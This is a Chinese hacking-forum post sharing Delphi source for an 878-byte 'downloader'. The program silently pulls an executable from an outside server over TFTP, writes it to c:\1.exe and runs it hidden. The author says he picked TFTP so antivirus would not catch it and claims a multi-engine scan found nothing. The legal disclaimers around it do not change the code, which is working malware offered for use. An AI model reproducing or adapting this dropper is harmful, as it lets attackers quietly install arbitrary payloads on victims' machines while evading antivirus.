HanDs
管理员

[Delphi文章] 878字节的下载者 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

闲来无聊,就改了一个下载者出来,编译后3.5k,压缩后878字节。

{
名称: sd
释义: sleepless downloader
作者: BinJian
网站: sleepless.org.cn
无技术含量,纯属YY之作。
8XX字节一次性下载者
}
//配置部分
const
  Server = 'cnare.vicp.cc';    //tftp 服务器 域名或IP地址
  ServFN = '1.exe';     //在服务器上的文件名
  LocalFN = 'c:\1.exe'; //下载到本地以后的名字
  delaytime = 2000;    //下载延迟时间(毫秒)
 
//代码部分
function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
  external 'kernel32.dll' name 'WinExec';
procedure Sleep(dwMilliseconds: LongWord); stdcall;
  external 'kernel32.dll' name 'Sleep';
begin
  Winexec('tftp -i '+server+' get '+ServFN+' "'+LocalFN+'"',0);
  sleep(delaytime);
  Winexec(LocalFN,0)
end.
不过用的不是http协议,那个杀软盯得太紧了,换成tftp,哈哈~~
去多引擎杀毒网上一测,全过。


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
878 字节的下载者
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复